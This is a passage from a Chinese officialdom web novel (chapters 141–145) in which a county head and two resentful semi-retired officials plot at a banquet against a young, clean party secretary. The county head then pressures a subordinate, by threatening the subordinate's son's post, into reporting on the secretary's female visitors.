“王主任,李主席,”他的声音不高,却清晰地盖过背景音乐,带着一种刻意的、近乎表演性质的恭敬,“两位,是我的老领导了。”
他微微倾身,姿态放得极低,“风风雨雨,几十年啊,我们一道走过来的。”
他顿了顿,目光在两人脸上逡巡,捕捉着他们松弛皮肤下细微的波动。
那两位,如今虽已半退,但盘根错节的枝蔓,依旧深扎在这县城的土壤里。
他们的眼皮微微耷拉着,松弛的面皮上刻着深深的倦怠纹路,只有听到“老领导”三个字时,浑浊的眼珠里才不易察觉地掠过一丝微光。
“如今,两位老领导算是半退了,”刘世廷的声音低沉下去,带着一丝恰到好处的、饱含惋惜的喟叹,“政策嘛,铁打的营盘,流水的官。”
“我刘世廷能力有限,大的方面,实在帮不上什么忙。”
他手腕轻轻一抬,杯中的琼浆微微荡漾,映着天花板上繁复的灯影,像碎了一池的金子。“我唯一还能尽点心的,也就是在生活上,让两位老领导过得舒坦些、安逸些,安安稳稳,舒舒服服,一直到光荣退休,颐养天年。”
他目光恳切,言辞真挚。
然而,话锋一转,那温和的笑意里便掺进了一丝冰凉的阴霾。“可是啊……”他长长地叹了口气,眉头蹙起,仿佛被无形的重担压弯了脊梁,“自从这个江昭宁来了……”
“唉——!”又是一声沉重得几乎要砸在桌面上的叹息,他猛地刹住了话头,仿佛后面是万丈深渊,不堪触碰。
他手臂一振,酒杯高举:“不提了!扫兴!”
“您两位啊,那就是咱县里压秤的大石头。”
“来,这杯酒,敬两位老领导!我先干为敬!”
话音未落,杯中那昂贵的液体已随着他仰头的动作,决绝地倾入喉中,一线热辣直烧下去。
王振邦和李茂林几乎是同时举杯,动作带着一种被压抑已久的沉重。
杯沿碰撞,发出一声清脆又沉闷的响。
两人喉结滚动,那号称“液体黄金”的茅台,此刻灌下去,却像是滚烫的铅汁,非但没能浇灭心头的块垒,反而“嗤啦”一声腾起更浓更黑的烟,将郁积的怨毒烧得滋滋作响,直冲顶门。
王振邦重重地将空杯顿在铺着雪白台布的桌面上,“咚”的一声闷响。
酱香在口腔里弥漫,却奇异地勾起了另一种截然不同的、令人作呕的气味——机关食堂那油腻腻、混杂着劣质饭菜和消毒水味道的空气。
眼前晃动的不再是这满桌珍馐。
而是食堂窗口前那些年轻科员们不耐烦的推搡,是油腻腻的餐盘,是飘着几片菜叶的寡淡汤水。
“这小子!”他咬着牙,从齿缝里挤出三个字,每个字都像淬了毒,“比马前进那王八蛋还要坏上十倍!”
“老马……”他声音陡然拔高,又强行压下,带着一种被深深刺痛的屈辱,“老马当年再霸道,至少还给我们这些老家伙留了张吃饭的桌子!”
“还有个清净地方,能吃口热乎的、像样的饭!”
他的手用力地拍在桌沿,震得杯碟轻响:“现在呢?好了!全他妈完了!”
“小灶?一刀切!连个渣都不剩!”
“我王振邦,黄土埋到脖子根的人了!”
“临了临了,还得跟那些刚出校门的毛头小子挤在一起,闻着汗味、油味,排着队,就为了打那点猪食一样的饭菜?”
他喘着粗气,脖颈上的青筋蚯蚓般凸起,浑浊的眼睛因为极致的愤怒和委屈而泛红,“这叫什么事儿?啊?这叫什么世道!”
“老哥,你这话说到我心坎里去了!”李茂林立刻接腔,声音同样压抑着火山般的怒意。
他拿起桌上的软中华,手指却微微发颤,点了几次才点燃。
狠狠吸了一口,烟雾缭绕中,他脸上的皱纹显得更深更硬。“我李茂林,不也是这个下场?”
“昨天还巴巴地跑去食堂,那新来的小丫头片子,认都不认识我!连个‘李主席’都不叫!眼皮都没抬一下!”
他猛地一拍大腿,“啪”的一声脆响。
“对老干部就这个态度?”他声音陡然尖利起来,“他江昭宁是石头缝里蹦出来的?”
“他就没有老的那一天?”
“他就能一辈子春风得意马蹄疾?”
“我们的今天,就是他江昭宁的明天!”
“他懂不懂?啊?”
“懂不懂这起码的规矩和敬畏!”
第141章 撩火
他越说越激动,唾沫星子都溅到了面前的骨碟上。
刘世廷静静地听着,脸上依旧是那种沉静如水的表情,看不出波澜。
他拿起分酒器,动作舒缓而精准,先给王振邦和李茂林重新斟满,那澄澈的酒液落入杯中,发出细微悦耳的声响。
最后,他才转向坐在自己下首、一直略显沉默的李国栋。
“国栋,”刘世廷的声音不高,带着一种领导者特有的、令人无法回避的询问意味,“你们局里那边……现在什么光景?”他的目光看似随意地扫过李国栋略显紧绷的脸。
李国栋连忙端起自己刚被斟满的酒杯,却没有立刻喝,像是在斟酌词句,又像是在平复某种情绪。
他脸上挤出一个极其复杂、近乎苦涩的笑容:“刘县,我们局里……嗨,还能怎么样?”
“自然是闻风而动,第一时间就把那点‘特殊待遇’给解散干净了。”
他轻轻晃了晃酒杯,看着酒液挂壁,“江书记现在……那真是大权在握,一言九鼎。”
“他说出的话,就是钉在地上的钉子,谁敢不钉进去?谁敢不卯足了劲儿去办?简直是一呼百诺!”
他顿了顿,声音压得更低,带着一种自嘲和无奈,“否则?否则下一个被钉在地上的,说不定就是自己了。”
“老的,小的,半退的,还在一线蹦跶的……甭管是谁,那点小灶,江书记一句话,全给烩成一锅大杂烩了!”
“没区别,谁也没跑掉。”
这个无比形象的词语——“一锅烩了”——如同一瓢滚烫的油,兜头浇在了王振邦心头那把刚刚被烈酒和怨怒点燃的火苗上。
火苗“轰”地一下直蹿上去,烧得他眼睛都有些发红发烫,握着拳头的手指深深嵌进掌心软肉里。
“哼!”王振邦鼻腔里重重喷出一股气。
他布满血丝的眼睛死死盯着李国栋,仿佛要从对方脸上榨取出什么秘密,“江昭宁……这小子到底多大岁数了?”
“毛长齐了没有?”那语气里的轻蔑和怨毒,浓得化不开。
李国栋下意识地搓了搓手指,避开王振邦那灼人的目光。
“江书记他……”李国栋的声音像是含了沙子,“还……还不到三十。”
“正是血气方刚,锐气最盛的时候。”
他抬眼,目光在刘世廷脸上飞快地掠过,又迅速垂下,“要说‘老’……王主任,李主席,他离体会到咱们这个‘老’字的分量,那还早着呢,早得很啊。”
“他……他哪能体会得到?”
“体会不到?”王振邦猛地向前探身,几乎要越过半张桌子,那张因酒精和愤怒而涨红的老脸逼近李国栋,眼睛像淬了毒的钩子,“难道就没办法让他……提前体会体会?”
每一个字都像是从牙缝里磨出来的,带着森然的寒气。
包厢里那原本就有些凝滞的空气,瞬间被冻结了。
背景音乐轻柔的旋律还在流淌,却显得无比遥远而空洞。
水晶灯的光芒似乎也暗淡了几分,只在每个人紧绷的脸上投下深浅不一的阴影。
李国栋的喉结剧烈地滚动了一下,握着酒杯的手指关节因为用力而微微发白。
他张了张嘴,却没发出声音,下意识地看向主心骨刘世廷。
刘世廷的脸上依旧是那副深潭般的平静,仿佛刚才那充满危险暗示的话只是一阵无关紧要的穿堂风。
他慢条斯理地夹起一块晶莹剔透的虾仁,放入口中细细咀嚼,又端起酒杯浅浅抿了一口,让那醇厚的酱香在舌尖流转片刻,才不疾不徐地开口,像是在探讨一个纯粹的理论问题。
“哦?怎么个让他感同身受法?”他微微侧头,看向王振邦,眼神里带着一丝恰到好处的、仿佛真的在寻求答案的困惑。
“江昭宁现在凭什么发号施令?别人又凭什么不敢不从?”
“这其中的关键……是什么呢?”王振邦引导着话题的方向。
李国栋重重地“哼”了一声,酒精和愤怒让他失去了往日的含蓄,声音又硬又冲:“这还用问?当然是他的位置!”
“他那顶县委书记的乌纱帽!”
“没错,”刘世廷微微颔首,目光扫过在座的三人,带着一种洞悉一切的冷静,“位置,权力。”
“我是县长,可我也不能想撤谁的乡长、书记就撤谁,那得走程序,得看影响,得掂量掂量,最后还得上常委会。”
“但他江昭宁,”他语气一顿,声音沉了下去,一字一句,清晰地砸在桌面上,“县委书记!他说一句话,‘某某同志不适合现岗位’,组织程序立刻就能启动。”
“他说要动谁,谁就得动!他手里攥着的,是实实在在的炙手可热的大权!”
“你说,这县里上上下下,谁不怕?谁能不怕?”
他的目光最后落在李国栋脸上,带着一丝不易察觉的审视。
李国栋只觉得那目光沉甸甸的,像冰冷的铁块压在心口,额角渗出细密的冷汗,只能僵硬地点头附和:“是,是,刘县说得对。”
“就是这个位置,这个权柄,太硬了。”
“哼!”一直阴沉着脸的李茂林突然从鼻子里发出一声短促而尖锐的冷笑,像冰锥划破沉闷的空气。
他的手指无意识地捻着酒杯杯脚,浑浊的眼睛里射出两道阴鸷的光,直勾勾地盯着桌面中央那瓶所剩不多的茅台酒,仿佛那是江昭宁的化身。
“位置?权力?”他声音沙哑,带着一种破罐破摔的狠戾,“位置是死的,人是活的!”
“权力……哼,没了位置,他屁都不是!”
他猛地抬起头,目光像淬了毒的针,先刺向刘世廷,又扫过王振邦和李国栋,最后定格在虚空中的某一点。
他的嘴角咧开一个极其难看的、充满恶意的弧度,一字一顿地,清晰无比地吐出那个蛰伏在所有人记忆深处的名字:“当年……马前进是怎么下去的?”
“马前进”三个字,如同一个冰冷的、锈迹斑斑的开关,“咔哒”一声按下去,瞬间切断了包厢内所有流动的空气。
时间仿佛被冻结了。
水晶吊灯的光芒凝固在空中,杯盘碗盏上的油光不再流动,连背景音乐那若有若无的旋律也彻底消失,只剩下一种巨大的、令人窒息的死寂。
茅台酒那霸道的酱香,此刻闻起来竟带着一丝腐朽的、令人不安的铁锈味。
第142章 难如登天
王振邦脸上的怒容僵住了,像一尊瞬间风干的泥塑,只有眼珠子在松弛的眼皮底下极其缓慢地转动了一下,泄露出一丝惊悸和……某种被唤醒的、幽暗的兴奋。
李国栋的反应最为剧烈。
他像是被无形的鞭子狠狠抽了一下,肩膀猛地一缩,端着的酒杯剧烈一晃,几滴昂贵的酒液泼洒出来,落在雪白的台布上,洇开一小片刺目的深黄。
他慌忙放下杯子,手指神经质地抽动,眼神慌乱地瞥向紧闭的包厢门,又飞快地垂下,死死盯着桌布上那点湿痕,仿佛那是致命的证据。
刘世廷端坐如钟。
他脸上那层沉静的釉色没有丝毫剥落,甚至嘴角那点若有似无的弧度都维持着原样。
只有那双深不见底的眼睛,在听到“马前进”三个字时,瞳孔深处极其细微地收缩了一下,如同平静湖面投入一颗小石子泛起的、瞬间即逝的涟漪。
他缓缓抬起手,却不是去碰酒杯,而是用指腹极其缓慢地、带着一种近乎抚慰的力道,摩挲着面前骨碟光滑冰凉的边缘,发出极其细微的“沙沙”声。
这细微的声音在绝对的寂静中被无限放大,像砂纸在打磨着每个人的神经。
刘世廷极其轻微地、几乎难以察觉地摇了摇头。
他端起自己面前那杯几乎没动过的酒,看着杯中微微晃动的琥珀色液体。
像是在对酒说话,声音低沉,带着一种深深的、混合着惋惜与无能为力的疲惫:“难啊……”
他长长地叹息一声,那叹息仿佛抽走了包厢里最后一点稀薄的空气,“这小子……年纪是不大,可心思深得很。”
“一门心思就想着往上走,每一步都算得精刮。”
“为了这个,他把自己裹得严严实实,油盐不进。”
“清廉?哼,装得比谁都像!走路带风,说话滴水不漏,连点像样的烟酒都不沾边……”
他顿了顿,目光终于从酒杯上抬起,缓缓扫过王振邦和李茂林那张因期待和焦虑而扭曲的脸。
他最后声音轻得像一片羽毛落地,却带着千钧的重量:“想抓他点实实在在的辫子……难如登天。”
“干净得……让人无处下嘴。”
“干净?”王振邦从牙缝里挤出两个字,声音嘶哑,带着一种被彻底点燃的、近乎疯狂的偏执,“我就不信!是人就有缝!”
“当年马前进……”
他再次提起这个名字,声音却压得极低,带着一种鬼祟的狠劲。
“王主任!”李国栋猛地出声打断,声音带着无法掩饰的惊惶。
他再次紧张地瞥了一眼房门,额角的汗珠终于滚落下来,“慎言!慎言啊!”
“此一时,彼一时!江书记他……他不一样!”
李茂林没说话,只是重重地靠在椅背上,闭上眼,胸膛剧烈起伏着,枯瘦的手指神经质地敲打着扶手,发出“笃、笃、笃”单调而压抑的声响,像在敲打一口无形的棺材。
包厢内再次陷入令人窒息的沉默。
茅台酒的醇香依旧霸道地弥漫着,此刻却像一层粘稠而冰冷的油,紧紧包裹住每一个人,沉重得让人喘不过气。
窗外,县城的霓虹灯无声地闪烁,将“金鼎”巨大的影子投射在冰冷的地面上。
那光芒穿透厚重的天鹅绒窗帘缝隙,在包厢内投下几道狭长而惨淡的光带,像几把悬而未落的铡刀,冷冷地切割着这片被权欲和怨恨浸透的方寸之地。
水晶吊灯的光芒依旧璀璨,却再也照不进每个人眼底那深不见底的幽暗漩涡。
茅台酒液在杯壁上挂出粘稠的泪痕,包厢里的空气凝滞如铅。
李国栋额头渗出细密的汗珠,喉结剧烈地滚动了一下,仿佛要吞咽下某种滚烫而坚硬的抉择。
死寂被一声突兀的叹息打破,他猛地抬起头,那双原本带着几分畏缩和犹疑的眼睛里,此刻竟燃起一种近乎孤注一掷的狠戾光芒。
他双手紧紧攥着桌布边缘,指节因用力而泛白,声音带着一种豁出去的沙哑和颤抖,一字一顿,清晰地砸在桌面上。
“两位老领导,”他目光灼灼地扫过王振邦和李茂林那张因期待而绷紧的脸,“多谢你们……今晚的教诲。推心置腹,字字珠玑!”
他深吸一口气,仿佛要将包厢里那混杂着酒气、烟味和权力欲望的空气全部吸入肺腑,化为孤勇。“你们的话,我李国栋,刻在心里了!一个字都忘不了!”
他停顿片刻,目光转向主位上神色莫测的刘世廷,又迅速回到两位老领导脸上,那眼神里混合着一种近乎虔诚的恳求与赤裸裸的交易意味,“如果我……我是说如果,真的按两位老领导点拨的方向,揪住了江昭宁那根要命的尾巴……”
他身体微微前倾,声音压得更低,却更显用力,每一个字都像从胸腔里硬挤出来:“还请两位老领导,看在过往的情分上,日后,在道义上,务必多给我一点支撑!在关键时期……”
他咬重了“关键时期”四个字,眼中闪过一丝决绝的凶光,“务必仗义执言!拉兄弟一把!”
“我李国栋,把这条命……把后半辈子的前程,就押在两位老领导身上了!”
这番话,无异于一道投名状。
包厢里的空气骤然绷紧,连背景音乐轻柔的旋律都似乎被这肃杀之气冻结。
王振邦那因酒精和愤怒而堆积的阴霾瞬间被一种近乎狞厉的笑意冲开。
他松弛的眼皮抬起,浑浊的眼底射出两道锐利如鹰隼、又带着毒汁般快意的光芒。
“呵呵呵……”低沉而瘆人的笑声从他喉咙里滚出来,带着一种掌控他人生死的得意。
他端起面前的酒杯,没有喝,只是用手指缓缓摩挲着冰凉的杯壁,目光缓缓扫过李国栋那张因紧张和激动而涨红的脸,最后落在刘世廷沉静如水的面容上。
“国栋啊,”王振邦的声音陡然拔高,“你的顶头上司——刘县长,在这儿坐着!”
“我王振邦,李茂林主席,也在这儿坐着!”他用手指重重地点了点桌面,发出沉闷的“笃笃”声,像在敲打战鼓,“我们,就是你的后盾!”
“天塌下来,有我们几个老家伙给你顶着!”
他的目光陡然变得阴鸷狠毒,转向窗外沉沉的夜色,仿佛要穿透那厚重的天鹅绒窗帘,刺向县委大院的方向:“他江昭宁?一个乳臭未干的外来户!”
“不知天高地厚,不知水深水浅!”
“仗着顶乌纱帽,就想在咱们东山的地界上抖威风?”
“就想跟我们这些土生土长、几十年摸爬滚打过来的老家伙较量?”
他猛地一拍桌子,震得杯碟乱跳,声音如同淬了火的铁块砸在冰面上,尖利而刺骨:“他做梦!东山的这片天,从来就不姓江!”
“以前不是,现在不是,以后也绝不会是!”
第143章 休怪我们不义!
他喘着粗气,胸脯剧烈起伏,唾沫星子喷溅:“他要砸我们这些老家伙吃饭的小灶?”
“让我们临退休了,连口舒心饭都吃不上?把我们当叫花子一样往大食堂里赶?”
王振邦的声音因极致的**而扭曲变形,“他这是要掘我们的根!要断我们的活路!”
“他都把刀架到我们脖子上了,我们还不抄家伙?还不跟他拼个你死我活?!”
“是!是!王主任说得对!说得太对了!”李国栋像是被这滔天的恨意点燃了,鸡啄米似的连连点头,额上的汗珠滚落下来也顾不得擦,眼中那点仅存的犹豫被彻底烧成了灰烬,只剩下一种被煽动起来的、破釜沉舟的狂热,“他不仁,休怪我们不义!”
一直沉默观察的刘世廷,终于放下了手中把玩良久的牙签。
他轻轻咳嗽一声,声音不高,却像带着冰棱,瞬间压下了王振邦的咆哮和李国栋的激动。
他目光沉静,如同深不见底的古井,缓缓扫过在座的每一张脸,那眼神带着一种无声的警告和掌控力。
“两位老领导为国栋指点的方向,”他开口了,语速缓慢,字斟句酌,每一个字都像在冰水里浸过,“是出于爱护后辈,出于对东山大局的拳拳之心,更是出于对某些不良倾向的忧虑。”
“这份心意,我刘世廷感同身受。”他话锋陡然一转,变得极其严肃冷硬,目光如电,直刺李国栋和王振邦,“但是,这种建议,出了这个门,不可再与任何人言!”
“一个字都不能漏!”
他刻意停顿,让那冰冷的警告在每个人心头沉淀、冻结。
“那是自然的!”王振邦与李茂林几乎同时开口,斩钉截铁,异口同声。
李茂林枯瘦的脸上肌肉紧绷,补充道:“刘县长放心,我们这把年纪,知道分寸!”
“祸从口出的道理,懂!”
刘世廷脸上那层冷硬的冰霜这才缓缓化开一丝。
重新挂上那副惯有的、温和持重的面具。
他端起酒杯,却没有喝,只是轻轻晃动着,看着琥珀色的酒液在杯壁上挂出优雅的弧线,语气变得语重心长,仿佛一位苦心孤诣的长者:
“说到底,和为贵啊!”
他叹息一声,充满了无可奈何的包容,“江**毕竟年轻,有冲劲是好事,只是方法上可能……急躁了些。”
“我这个做搭档的,责无旁贷,还是要多沟通,多交流。”
“看看能不能……找到一个大家都能接受的平衡点?”
他的目光投向王振邦和李茂林,带着一种“我为你们殚精竭虑”的真诚:“比如,你们两家的小灶问题……”
“老同志,是我们东山发展历程中积累下来的宝贵财富!”
“几十年风风雨雨,没有功劳也有苦劳。”
“于情于理,组织上都应该给予良好的照顾,不能让老同志寒了心啊!”
他顿了顿,话里有话地继续道,“退休的老同志,自然有老干局负责关怀。”
“可你们这些半退的老领导,经验丰富,余热犹在,在位的县委县政府领导,难道不应该更用心、更体贴地照顾好吗?”
他再次停顿,让这番话的分量沉甸甸地压在每个人心上。
然后,他总结般地、用一种近乎悲悯的口吻说道:“总之,对他江昭宁,我们还是要仁至义尽。”
“该说的要说。”
“不能让他年轻气盛,一脚踏空,摔得头破血流。”
“最后埋怨我们这些老同志没有扶他一把啊!”
“仁至义尽”四个字,从他口中缓缓吐出,却带着一种令人不寒而栗的冰冷算计,仿佛一张精心编织、缓缓收紧的大网。
王振邦布满沟壑的脸上,肌肉微微抽动了一下。
他端起酒杯,对着刘世廷,脸上挤出一种极其复杂、混合着感激、钦佩与更深层次算计的表情,声音因为激动而有些发颤:“世廷啊!你真是……真是有大量啊!”
他用力地竖起大拇指,“宰相肚里能行船!这话一点不假!”
“换了我,被这么蹬鼻子上脸,早就掀桌子了!”
“可你,还能想着顾全大局,想着去沟通,想着给我们这些老家伙留口热乎饭吃……”
他摇头晃脑,语气充满“真诚”的感叹,“摊上你这么个好搭档,这么个有格局、有涵养的县长,真是他江昭宁八辈子修来的造化!”
他话锋陡然一转,变得阴冷而充满暗示:“他江昭宁要是再不知好歹,再闹矛盾,再一意孤行,那就太过分了!”
“那就是不识抬举,是自绝于东山!
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“到时候……我看他还能在县委**的位子上坐几天!”
王振邦冷哼一声,目光阴鸷地扫过李国栋和刘世廷,“那可就真是……无人会站在他那一边!众叛亲离,就是他的下场!”
“墙倒众人推,破鼓万人捶!”
这番话如同淬毒的诅咒,在弥漫着茅台醇香的包厢里久久回荡。
水晶吊灯的光芒似乎都黯淡了几分,只在那昂贵的菜肴油光、空荡的酒杯杯壁以及每个人脸上投下变幻莫测、明暗交织的阴影。
刘世廷脸上始终挂着那副无懈可击的温和表情,仿佛王振邦那些露骨的诅咒只是过耳清风。
他从容地站起身,动作优雅地整理了一下西装前襟,脸上带着恰到好处的歉意微笑:“时候真是不早了,两位老领导今天也累了。”
“国栋,你辛苦一下,安排车,务必把两位老领导安全送到家。”
“路上慢点。”
“放心,刘县!”李国栋立刻应声,像得到了指令的士兵。
王振邦和李茂林也扶着桌子站起来,脸上堆起客套的笑容,嘴里说着“麻烦刘县了”、“国栋费心”之类的场面话。
刘世廷亲自将他们送到包厢门口,握手道别,姿态谦恭依旧。
厚重的雕花木门在刘世廷身后无声地合拢,隔绝了外面走廊的光影和声响。
门关上的瞬间,刘世廷脸上那层温润谦和的面具如同潮水般迅速褪去。他
没有立刻离开,而是站在原地,微微侧耳倾听着门内隐约传来的、王振邦压低嗓音对李国栋的又一番“叮嘱”。
他嘴角极其细微地向下撇了一下,形成一个冰冷而讥诮的弧度,眼神深处再无半点温度。
只剩下深潭般的漠然和一种洞悉一切、掌控全局的冷静。
他身后的“锦绣江南”包厢,厚重的门扉紧闭,像一口巨大的、刚刚封上盖的棺椁。
门内,茅台酒浓烈而独特的酱香味,与阴谋发酵的酸腐气息、权力更迭的铁锈腥气、以及人性深处最幽暗的欲望味道,依旧在无声地交织、弥漫、沉淀,浓稠得化不开,沉甸甸地压在每一个角落。
那盆摆在转盘中央、镶着金边的红掌,花瓣边缘的金箔在顶灯下反射着冷硬的光,如同祭奠的花圈上冰冷的装饰。
第144章 执行力很强啊?
包厢厚重的红木门被无声地推开一条缝,“金鼎”老板钱德海那张保养得宜、堆满谄笑的脸探了进来。
“县长,”钱德海的声音刻意放得又轻又柔,带着一股子讨好的腻滑劲儿。
他侧身挤进来,顺手将门在身后虚掩上,“看您累的,要不要叫一个年轻漂亮的小姐进来,给您按按肩膀,松松筋骨?”
“我们这儿新来了几个技师,手法一流,人也水灵,保证让您舒舒服服放松一下?”
“那手劲儿,那手艺,保管把您浑身的乏气都给您揉散了!”
他边说边搓着手,眼睛像探照灯一样在刘世廷紧锁的眉宇间逡巡,试图捕捉一丝松动。
“去!去!”刘世廷猛地抬起头,眼神锐利如刀,厌烦之情毫不掩饰地写在脸上。
他声音不高,却带着不容置疑的冰冷,“钱德海,你这套把戏收起来!”
“以后收敛点儿!脑子里就装着这些乌七八糟的东西?”
“滚!别在这儿聒噪!”
他的手指几乎要点到钱德海的鼻尖,语气里的鄙夷和警告浓得化不开。
钱德海脸上的笑容瞬间僵住,像被冻住的劣质奶油,随即又迅速调整成惶恐不安的样子。
他的腰弯得更低了:“是!是!县长教训得对!是我糊涂!”
“我这就滚,这就滚!您息怒,息怒!”他一边点头哈腰,一边**着往外走,动作仓促狼狈,仿佛慢一步就会被无形的怒火吞噬。
门在他身后轻轻关上,隔绝了外面的浮华,也暂时隔绝了刘世廷的烦躁源,但包厢内的压抑感并未减轻分毫。
刘世廷重重地靠回沙发背,闭上眼,深深吸了一口气,试图平复翻腾的思绪。
钱德海的提议像一根针,扎在他此刻高度敏感的神经上。
市里刚强调过领导干部的生活作风问题,这个节骨眼上,在这种地方,叫**?简直是把他往火坑里推!
这个钱德海,仗着这些年给他处理过一些“不方便”的事,就越来越没分寸了!
他烦躁地扯了扯领带,感觉胸口一阵发闷。
不行,得做点什么。
不能被动地等着。
一个名字浮现在他脑海里——董海。
他睁开眼,眼神重新变得锐利而冰冷,带着一种掌控者的算计。
他拿起放在茶几上的手机,解锁,手指在通讯录里快速滑动,找到了“董海”的名字,毫不犹豫地拨了出去。
电话只响了两声就被接通了。
董海的声音从听筒里传来,带着一丝不易察觉的紧张和小心翼翼:“喂?刘县长?”
“董主任,”刘世廷的声音平稳,听不出喜怒,却有一种无形的压力透过电波传递过去,“你到金鼎‘锦绣江南’包厢来一趟。现在。”
电话那头明显停顿了一下,呼吸似乎都滞涩了。
董海的声音带着明显的迟疑和困惑:“刘县长?这个时间……在金鼎?”
“是……是有什么事吗?”他的声音里充满了不解。
这个地点,这个时间点。
本身就透着一股不同寻常的味道。
刘世廷的嘴角勾起一丝冰冷的弧度,语气陡然加重,带着不容置喙的命令口吻:“没事,找你干嘛?马上过来。”
每一个字都像冰珠砸在董海的心上。
“……是!刘县长!我马上到!”董海不敢再多问一个字,声音里只剩下服从和一丝不易察觉的慌乱。
电话被迅速挂断。
刘世廷放下手机,端起已经微凉的茶,抿了一口,苦涩的滋味在舌尖蔓延。
他走到巨大的落地窗前,俯瞰着脚下流光溢彩的县城。
他必须弄清楚,江昭宁这位“一把手”到底在盘算什么,手里又握着什么牌。
而董海,是他安插在县委核心区域的一枚重要棋子。
董海的儿子董小磊刚通过他的“关照”,正式调入县**局科信大队。
这份“恩情”,就是拴在董海脖子上的缰绳。
时间在凝滞的空气中缓缓流淌。
刘世廷踱步回到沙发前,眼神愈发阴鸷。
大约不到十分钟,包厢外响起了节奏短促、带着点犹豫的敲门声。
笃,笃笃。
“进来。”刘世廷的声音从里面传出,恢复了那种标志性的深沉、不徐不疾。
门被小心翼翼地推开,董海的身影出现在门口。
他穿着一件夹克,头发有些凌乱,额头上还带着细密的汗珠
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,显然是匆匆赶来的。
看到刘世廷坐在阴影里的沙发上,董海下意识地缩了缩脖子,脸上挤出恭敬又紧张的笑容,快步走了进来,顺手轻轻关上门。
“刘县长,您找我?”董海的声音带着喘息,小心翼翼地站刘世廷前,双手局促地交握在身前,不敢坐下。
刘世廷抬起眼皮,锐利的目光像探照灯一样在董海脸上扫视着,将他那点紧张和疲惫尽收眼底。
他没有立刻回答董海的问题,而是慢悠悠地拿起桌上的茶壶,给自己又倒了一杯茶,才缓缓开口,语气带着一种刻意的、令人不安的玩味:“董主任,速度蛮快嘛?”
“执行力很强啊?”他的尾音微微上扬,听起来像是夸奖。
但那眼神里的审视和压力,却让董海感觉后背的汗**都竖了起来。
董海心里咯噔一下,连忙解释,声音带着一丝不易察觉的颤抖:“不敢当,不敢当!刘县长过奖了。”
“主要是……我家确实就住在附近。”
“接到您电话我就赶紧跑过来了,不敢耽搁您的时间。”他努力让自己的笑容看起来自然些,但眼神却不由自主地飘忽了一下。
刘世廷放下茶杯,发出清脆的一声轻响。
他身体微微前倾,双手交叉放在膝盖上,目光如钩,牢牢锁住董海的眼睛,不再绕任何弯子,直切主题:“董主任,我安排你的事,现在如何了?”
他的声音不高,却字字清晰,带着一种不容回避的穿透力。
董海脸上的肌肉明显抽搐了一下,眼睛里先是茫然,随即闪过一丝掩饰不住的惊慌,仿佛被毒蛇咬了一口。
“我……安排我的事?”他声音干涩,眼神开始不受控制地四处游移,不敢与刘世廷对视,“县长,您指的是……?”
他的大脑似乎在这一刻宕机了。
“董——海!”刘世廷猛地提高了音量,那两个字像两颗冰雹狠狠砸在董海头上。
他脸上的温和伪装瞬间撕裂,浮现出毫不掩饰的怒气,眼神如鹰隼般凌厉:“揣着明白在这儿装什么糊涂!”
“跟我玩这套虚头巴脑的!”
“你是真以为我刘世廷是泥捏的菩萨,好糊弄?!”
第145章 截屏打印下来的
那强大的气场如同实质的重拳,击得董海浑身一哆嗦,脸色瞬间变得惨白,嘴唇也微微颤抖起来,语无伦次:“不,不敢!绝对不敢!”
“刘县长,您……您别误会!”
“我,我怎么可能……我就是……一时糊涂……”他急得几乎要口吃起来,额上的汗珠汇聚成道道细流滑落,滴在地毯上。
看着董海这副惶惶不可终日的狼狈样,刘世廷眼中的寒芒更盛。
他身体微微前倾,双手交叉放在膝盖上,形成一种更具侵略性的压迫姿态。
他声音压得更低,却如同磨砂纸在董海心上来回摩擦,字字透着森然寒意:“怎么?”
“是不是看你儿子……董小磊刚通过我的关照,正式调入县**局科信大队,就想着……可以松口气了?”
“就打算把我的话当成耳旁风,左耳朵进右耳朵出了?”
“就觉得我这边,可以敷衍塞责、阳奉阴违了?”
董海被这突如其来的爆发吓得浑身一抖,脸色瞬间变得惨白,嘴唇哆嗦着:“我……我……刘县长……”
他语无伦次,大脑一片空白,巨大的恐惧攫住了他。
他完全明白了刘世廷指的是什么——是那个要命的、监视县委**江昭宁办公室动向的任务!
“怎么?”刘世廷站起身子向前逼近一步,居高临下地俯视着几乎要缩成一团的董海,每一个字都像淬了冰的针,狠狠扎向他。
他的声音低沉下去,却更加危险,充满了赤裸裸的威胁,“董海,你给我听清楚!”
“我能让你儿子遂意,进那个梦寐以求的地方,坐在那个舒服的位置上……”
他顿了顿,眼中寒光爆射,“我也能让他不遂意!让他连现在的位置都坐不稳!”
“甚至……你信不信?!”
最后那句话,刘世廷没有完全说出口,但那股森然的寒意,那未尽之语中蕴含的毁灭性力量,已经像一股无形的冰风暴,瞬间席卷了整个包厢,直冲董海的脑门!
董海仿佛听到了儿子前途断裂的脆响,看到了全家绝望的眼神。
他浑身剧烈地颤抖起来,牙齿都在打颤,一股寒气从脚底板直冲天灵盖,双腿发软,几乎要站立不住。
一个县长,在这片土地上,就是权力的化身,是能轻易决定无数人命运的存在。
要碾碎他董海儿子这样一个小干部,甚至牵连他的家人,对刘世廷而言,确实易如反掌。
甚至不需要亲自动手,只需一个眼神,一句暗示。
他甚至能听到自己牙齿打颤的咯咯声。
一个县长,在县城这个权力体系里,那是实实在在翻手为云覆手为雨的土皇帝!
“刘……刘县长……我……我不敢!我真的不敢!”董海的声音带着哭腔,巨大的恐惧让他几乎要跪下来,“我一直……一直按您的吩咐在做!”
“真的!您相信我!”
看着董海已彻底被恐惧支配,几近崩溃的模样。
刘世廷知道火候到了。
他脸上的怒容稍敛,但那份冰寒的压迫感丝毫未减。
话锋一转,如同冰冷的解剖刀精准切入要害:“别跟我在这里装傻充愣,抖得跟筛糠似的!”
“说点实在的!”
“最近这些天,都有哪些人……特别是‘女’的,去了江**办公室?”
他刻意加重了“女人”两个字,目光如鹰隼般锐利,紧紧盯着董海脸上每一丝细微的变化。
他重新坐回沙发,恢复了那种掌控一切的姿态,但声音依旧冰冷如铁:“说!”
董海的心脏狂跳,几乎要冲破胸腔。
他强迫自己冷静下来,大脑飞速运转。
刘县长突然问起这个,而且是如此直接地点明“女人”,难道是听到了什么风声?
还是……他不敢深想。
他努力回忆着这几天留意到的情况,战战兢兢地回答道:“有……有不少人,刘县长。”
“县里各个部门的头头脑脑,乡镇上来汇报工作的**镇长,还有一些市里下来调研的。”
“还有……还有些企业老板,几乎是……门庭若市,基本是……是无虚日,人来人往的,很频繁……”
“别绕弯子!”刘世廷猛地打断他,眼神如刀锋般逼视着董海,“东拉西扯什么?转移话题!”
“我要的是重点!女人!懂吗?”
“什么样的女人,什么时间,待了多久?有没有规律?”每个问题都像一把锤子,重重砸在董海试图转移的企图上。
